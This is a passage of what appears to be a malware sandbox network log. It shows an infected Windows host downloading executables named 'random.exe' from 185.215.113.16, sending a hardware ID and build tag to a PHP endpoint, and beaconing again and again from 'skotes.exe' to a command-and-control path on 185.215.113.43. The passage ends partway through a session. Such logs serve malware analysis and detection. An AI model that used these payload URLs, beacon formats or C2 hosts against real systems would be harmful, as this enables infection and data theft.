Dec 27, 2024 15:01:03.923857927 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:01:05.261735916 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:01:04 GMT Content-Type: application/octet-stream Content-Length: 5104640 Last-Modified: Fri, 27 Dec 2024 13:02:38 GMT Connection: keep-alive ETag: "676ea56e-4de400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4e 00 00 04 00 00 1f d6 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(M@ NN@M$a$$ $$@.rsrc$$@.idata $$@jvdduhrr )$)$@adcgyevyMM@.taggant0M"M@
Dec 27, 2024 15:01:05.261756897 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:01:05.270157099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:01:05.270172119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:01:05.270184040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:01:05.270304918 CET	1236	IN	Data Raw: 2d 21 d4 4e ac c5 d0 0b a4 7c 10 a7 f1 c5 4f 4e 27 08 d7 85 21 d2 13 a7 9d 2c 4d 4e 27 8a 13 cc e8 79 4c 4e ac 5d 6f 58 ac c5 d6 3b 84 bf 62 58 d4 40 ef 4e 27 0f 74 9d b9 c5 4f c5 69 31 74 85 b9 c5 4f 24 a8 42 89 ba 06 c5 ff de 3c 75 3c df 3c 44 Data Ascii: -!N\|ON'!,MN'yLN]oX;bX@N'tOi1tO$B<u<<DC_tO}]7X(ONeN\|mN\|uN\|v}N\|bEN\|nN\|ZN\|FN'*\|2N\|N\|rN\|~N\|jN\|VN\|BN\|JMON\|d
Dec 27, 2024 15:01:05.270488024 CET	1236	IN	Data Raw: 0f c5 d6 03 80 b6 fa b1 b9 71 3c 2a ac dd 83 53 6f c5 62 58 c0 40 ef 4e 21 19 4f c3 6a c6 77 69 bc c5 4f c5 f4 7e 81 9e 29 2c d8 56 29 50 d8 5a 7b b4 62 58 58 76 ef 4e 04 b1 40 0d ac b4 62 58 30 75 ef 4e af da bf c3 6a c6 77 b5 a3 c5 4f c5 f4 4a Data Ascii: q<SobX@N!OjwiO~),V)PZ{bXXvN@bX0uNjwOJ;L\|)W/WNq<SobX@N!JkwOJZ;J;=Soq<\|)KINBOASN\|dN\|uON'}ON'3}ON'[
Dec 27, 2024 15:01:05.270507097 CET	1236	IN	Data Raw: 31 b5 62 ae 93 4a 07 3b b1 4a 63 3b b5 44 e1 a2 ac d9 be 19 7f 50 b9 7a 3d a4 4f c5 69 21 fc 1d 93 fa c3 de 0f c5 f7 12 b1 84 4f b1 b9 61 d3 2d ac 42 a0 48 21 88 4c a6 55 fc 4f 4e 27 55 d5 fb 04 50 63 ae 29 5f d8 56 29 2c d8 5a 7f bf 62 58 58 76 Data Ascii: 1bJ;Jc;DPz=Oi!Oa-BH!LUON'UPc)_V),ZbXXvN@bX0uNkwEO~),S)_W/WNq<*SobX@N!KjwOJ;\|)Z\|bXXvN@bX0uN!JtPa-BH!LiMtOJZ;J;=
Dec 27, 2024 15:01:05.270519018 CET	1236	IN	Data Raw: f4 4a 07 3b b7 7c 89 9e 29 05 d8 5a 29 50 d8 5e 7c b4 62 58 58 76 ef 4e 7b b4 62 58 30 75 ef 4e 21 7a ac b1 93 50 f6 54 7e 5d 8f 52 ae c5 d6 36 a4 7e 89 a6 af 57 d1 09 ad 44 08 47 25 8a 67 a7 71 cf 4f 4e 27 55 c9 b8 18 e6 c8 95 18 f2 d6 0b 84 44 Data Ascii: J;\|)Z)P^\|bXXvN{bX0uN!zPT~]R6~WDG%gqON'UDN\|zP<O5L:\|JN\|UN~)B)_FzbXXvN'tO]sILPc)JN\|'%-BZ\|\|/!PB%WON%;J;JZ;=*\|g}ON/
Dec 27, 2024 15:01:05.270647049 CET	1236	IN	Data Raw: 1c c9 4c 3f a8 7c dc 46 25 d6 57 c5 6c fd c8 8e 18 c4 d4 06 a0 7c 89 62 29 05 d8 2b 27 bd 67 ca ec 55 0b 4f ad c5 4f 4e 29 3e d8 69 2f 0e 4c 3a 4e 0c 7d 38 a4 7c 7c c4 b9 09 3d 2a ac 7c dd 4a ad d5 4b c5 1d fd d4 3e a4 7c 95 46 29 3e d8 4d 25 86 Data Ascii: L?\|F%Wl\|b)+'gUOON)>i/L:N}8\|\|=\|JK>\|F)>M%SdwuW~=OL?\|F%Wl\|n)+'gUOON)>i/L:N}8\|\|=\|JK>\|F)>M%SdwuW~=OL?\|F%Wl\|Z)
Dec 27, 2024 15:01:05.381416082 CET	1236	IN	Data Raw: a4 dd 87 51 6f c5 f7 2a b3 84 4f ed a0 47 ef 4e 84 e9 4d 4e ac a3 5d 26 1c f0 8e 4e 04 45 43 0d ac 64 1c c7 0f c5 77 41 b2 c5 4f 24 bd dd 3f 4e 6f c5 f7 ea b3 84 4f ed 34 42 ef 4e 84 4d 41 4e ac a3 57 26 d4 f0 8e 4e 04 09 43 0d ac 64 a8 c4 0f c5 Data Ascii: Qo*OGNMN]&NECdwAO$?NoO4BNMANW&NCdwO$NoOANANDO&N-]PCno.$O1ONvLO&\|N-]SBno.&OONLO&8N-]SDe3oo.3%OiO
Dec 27, 2024 15:01:14.084371090 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:01:14.521470070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:01:13 GMT Content-Type: application/octet-stream Content-Length: 3209216 Last-Modified: Fri, 27 Dec 2024 13:02:46 GMT Connection: keep-alive ETag: "676ea576-30f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@011@Wk00 @.rsrc@.idata @ysynnfor@:@lfcxdbpw00@.taggant01"0@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49764	185.215.113.206	80	3836	C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:01:17.376667023 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 15:01:18.729837894 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:01:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 15:01:18.736444950 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 39 46 44 42 43 45 32 36 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="hwid"969FDBCE2689514701825------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="build"stok------DGHCBAAEHCFIDGDHJEHC--
Dec 27, 2024 15:01:19.192943096 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:01:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49869	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:06.263237953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:07.656183004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49876	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:09.297235966 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:10.651067972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49885	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:12.402971983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:13.789347887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49892	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:15.417632103 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:16.753889084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49901	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:18.495748043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:19.837532043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49908	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:21.529494047 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:23.110661030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49916	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:24.856021881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:26.294034958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49924	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:27.917635918 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:29.253763914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49931	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:30.995361090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:32.341634035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49939	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:33.966811895 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:35.314733982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49947	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:37.079221964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:38.497829914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49954	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:40.120606899 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 15:02:41.466933012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49963	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:02:43.214149952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:02:44.602340937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49968	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
